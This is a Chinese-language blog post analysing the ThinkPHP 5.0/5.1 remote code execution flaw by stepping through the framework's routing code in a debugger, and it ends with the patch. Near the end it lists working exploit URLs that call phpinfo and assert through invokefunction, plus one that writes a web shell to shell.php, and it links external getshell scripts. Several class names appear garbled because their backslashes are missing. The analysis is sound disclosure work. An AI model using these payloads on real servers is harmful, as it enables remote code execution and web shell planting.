ThinkPHP5 遠程代碼執行漏洞動態分析
文章首發了博客:ThinkPHP5 遠程代碼執行漏洞動態分析
0x01 前言
這個漏洞已經過去了十多天了,最近比較忙,一直沒有寫分析的文章。今天抽點時間出來寫一篇動態分析的文章,遠程執行漏洞用動態分析比較方便也看出整個執行的過程和一些變數參數。
ThinkPHP
官方最近修復了一個嚴重的遠程代碼執行漏洞。這個主要漏洞原因是由於框架對控制器名沒有進行足夠的校驗導致在沒有開啟強制路由的情況下可以構造惡意語句執行遠程命令,受影響的版本包括5.0和5.1版本。
0x02 環境
程序源碼下載:http://www.thinkphp.cn/download/967.html Web環境:Windows 10 x64+PHPStudy 20018 調試工具:phpstorm+xdebug(用vscode也可以,我比較習慣用phpstorm)
xdebug調試配置可以參考我的一篇文章https://getpass.cn/2018/04/10/Breakpoint%20debugging%20with%20phpstorm+xdebug/
因為我是從頭分析到尾,所以要在設置裡面勾上Break at first line in PHP script
搭建就不多說了,放源碼在根目錄然後phpstudy啟動!
0x03 漏洞復現
奉上我們的Poc:http://getpass.test/public/index.php?s=index/ hinkRequest/input&filter=phpinfo&data=1
其實有很多利用的地方,到後面分析完再說。
0x04 漏洞分析
因為是從開始分析,也比較適合新手,雖然囉嗦了點哈,我就不演示去下某個斷點了,如果有不懂的你們也可以在不懂的地方下一個斷點然後繼續分析(記得去掉Break at first line in PHP script
再下斷點)。
有些不是重點的直接F7或者F8走下去,F7跟進Facade
到App.php
初始化的地方,繼續F8往下面走
到routeCheck
F7跟進去
到這裡F7繼續跟進去
有些沒有必要的函數就直接F8跳過去,到pathinfo()
這裡F7跟進去
我們可以分析一下這個·pathinfo
函數的代碼$this->config->get(var_pathinfo)
這一句是從配置文件config/app.php
獲取的值
當請求報文包含$_GET[s]
,就取其值作為pathinfo,並返回pathinfo給調用函數,所以我們可利用$_GET[s]來傳遞路由信息。
public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[$this->config->get(var_pathinfo)])) {
// 判斷URL裡面是否有兼容模式參數
$_SERVER[PATH_INFO] = $_GET[$this->config->get(var_pathinfo)];
unset($_GET[$this->config->get(var_pathinfo)]);
} elseif ($this->isCli()) {
// CLI模式下 index.php module/controller/action/params/...
$_SERVER[PATH_INFO] = isset($_SERVER[argv][1]) ? $_SERVER[argv][1] : ;
}
// 分析PATHINFO信息
if (!isset($_SERVER[PATH_INFO])) {
foreach ($this->config->get(pathinfo_fetch) as $type) {
if (!empty($_SERVER[$type])) {
$_SERVER[PATH_INFO] = (0 === strpos($_SERVER[$type], $_SERVER[SCRIPT_NAME])) ?
substr($_SERVER[$type], strlen($_SERVER[SCRIPT_NAME])) : $_SERVER[$type];
break;
}
}
}
$this->pathinfo = empty($_SERVER[PATH_INFO]) ? / : ltrim($_SERVER[PATH_INFO], /);
}
return $this->pathinfo;
}
可以看到return $this->pathinfo;
返回的內容
F7走,可以看到$pathinfo
賦值給$this->path
F7走到check
的函數,如果開啟了強制路由則會拋出異常,也就是說該漏洞在開啟強制路由的情況下不受影響,但是默認是不開啟的。
後面看到實例化了UrlDispatch
對象,將$url傳遞給了構造函數。
再繼續分析下去,中間有些不必要的直接F8走過就行了。可以看到將$url
傳遞給了$action
F7走下去,跳回了App.php
,可以看到$dispatch
返回來的值代入dispatch
方法。
F7走進去,可以看到傳入的$dispatch
賦值給了$this->dispatch
,不過現在分析這個版本是有改動的,有些版本是在這裡用dispatch
代入下面會分析到的parseUrl
方法,這個版本的是用$this->action
來parseUrl
方法的,繼續分析下去,下面會分析到的。
F7又返回了App.php
的文件,可以看到執行調度這裡$data = $dispatch->run();
,我們F7跟進去
這裡就是上面所說的,$url
是由thinkphp/library/think/route/Dispatch.php
裡面的$this->action = $action;
傳過來的。
我們F7繼續分析parseUrl
方法,然後F8走到這裡
F7進到這個parseUrlPath
方法裡面,用/
來分割[模塊/控制器/操作]
並存到$path
數組裡面
private function parseUrlPath($url)
{
// 分隔符替換 確保路由定義使用統一的分隔符
$url = str_replace(|, /, $url);
$url = trim($url, /);
$var = [];
if (false !== strpos($url, ?)) {
// [模塊/控制器/操作?]參數1=值1&參數2=值2...
$info = parse_url($url);
$path = explode(/, $info[path]);
parse_str($info[query], $var);
} elseif (strpos($url, /)) {
// [模塊/控制器/操作]
$path = explode(/, $url);
} elseif (false !== strpos($url, =)) {
// 參數1=值1&參數2=值2...
parse_str($url, $var);
} else {
$path = [$url];
}
return [$path, $var];
}
中間的繼續F8往下走,返回的$route
數組
繼續往下走,F7進去
可以看到thinkphp/library/think/route/Dispatch.php
類這裡的$this->action
的值變了。
繼續會走到thinkphp/library/think/route/dispatch/Module.php
,可以看到$this->action
賦值給了$result
F8往下走,走到實例化控制器,這裡的$controller
是可控的,是由上面的$result[1]
傳過來的
$controller = strip_tags($result[1] ?: $this->app->config(app.default_controller));
F7跟進去,當$name
存在反斜槓時就直接將$name
賦值給$class
並返回。攻擊者通過控制輸入就可以操控類的實例化過程,從而造成代碼執行漏洞。
下面就是調用反射執行類的步驟了
也可以往下看,這裡是通過invokeMethod
函數動態調用方法的地方,可以看到$class
是thinkRequset
的類,$method
是input
後面就是把內容輸出到瀏覽器的過程了
0x05 漏洞分析回顧
我們從POC來分析執行過程http://getpass.test/public/index.php?s=index/ hinkRequest/input&filter=phpinfo&data=1
- 開始我們分析
pathinfo()
函數的時候得只可以用s
來獲取路由信息 parseUrlPath
方法用來分割[模塊/控制器/操作]
格式- 在後面傳入
$controller
的時候,就是開始我們獲取到路由的值,但是用反斜槓就開頭,就是想要實例化的類 - 最後是反射函數,調用了
input
方法執行phpinfo()
一定是要Request
類裡面的input
方法來執行嗎?
不一定,視版本而決定。
以下是先知大神分類出來的
5.1是下面這些:
thinkLoader
ComposerAutoloadComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
thinkError
thinkContainer
thinkApp
thinkEnv
thinkConfig
thinkHook
thinkFacade
thinkfacadeEnv
env
thinkDb
thinkLang
thinkRequest
thinkLog
thinklogdriverFile
thinkfacadeRoute
route
thinkRoute
think
outeRule
think
outeRuleGroup
think
outeDomain
think
outeRuleItem
think
outeRuleName
think
outeDispatch
think
outedispatchUrl
think
outedispatchModule
thinkMiddleware
thinkCookie
thinkView
thinkviewdriverThink
thinkTemplate
think emplatedriverFile
thinkSession
thinkDebug
thinkCache
thinkcacheDriver
thinkcachedriverFile
5.0 的有:
thinkRoute
thinkConfig
thinkError
thinkApp
thinkRequest
thinkHook
thinkEnv
thinkLang
thinkLog
thinkLoader
兩個版本公有的是:
thinkRoute
thinkLoader
thinkError
thinkApp
thinkEnv
thinkConfig
thinkHook
thinkLang
thinkRequest
thinkLog
5.1.x php版本>5.5:
http://127.0.0.1/index.php?s=index/think
equest/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/index.php?s=index/ hink emplatedriverfile/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
5.0.x php版本>=5.4:
http://127.0.0.1/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
這裡也不寫getshell的python腳本了 ,可以參考
https://github.com/theLSA/tp5-getshell
https://payloads.online/archivers/2018-12-05/1
0x06 補丁分析
下面是針對5.0和5.1的補丁,添加了正則過濾,導致無法再傳入 hinkapp
這種形式的控制器。
0x07 結束
很多天沒發文章,這個洞還是蠻厲害的,前段時間爆發的時候還看到有人用這個洞掃全網的ip。
0x08 參考
https://www.secpulse.com/archives/92835.html
https://paper.seebug.org/760/
https://www.kancloud.cn/manual/thinkphp5_1/353946
http://www.lsablog.com/networksec/penetration/thinkphp5-rce-analysis/
https://iaq.pw/archives/106
https://xz.aliyun.com/t/3570
推薦閱讀: